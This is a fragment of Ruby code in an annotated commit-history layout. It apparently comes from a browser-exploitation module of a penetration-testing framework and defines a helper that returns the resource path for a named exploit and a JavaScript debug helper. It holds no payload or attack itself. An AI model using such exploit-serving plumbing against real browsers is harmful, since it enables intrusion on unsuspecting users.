def exploit_resource(name)
|
|
|
|
if (@exploits[name] && @exploits[name].respond_to?("get_resource"))
|
|
|
|
#print_line("Returning '#{@exploits[name].get_resource}', for #{name}")
|
|
|
|
return @exploits[name].get_resource
|
2008-11-25 08:51:17 +00:00
|
|
|
else
|
2009-07-19 17:27:36 +00:00
|
|
|
print_error("Don't have an exploit by that name, returning 404#{name}.html")
|
|
|
|
return "404#{name}.html"
|
2008-11-25 08:51:17 +00:00
|
|
|
end
|
|
|
|
end
|
2009-07-19 17:27:36 +00:00
|
|
|
|
|
|
|
def js_debug(msg)
|
|
|
|
if datastore['DEBUG']
|
|
|
|
return "document.body.innerHTML += #{msg};"
|
|
|
|
end
|
|
|
|
return ""
|
|
|
|
end
|
2008-11-17 07:53:44 +00:00
|
|
|
end
|
2009-07-19 17:27:36 +00:00
|
|
|
|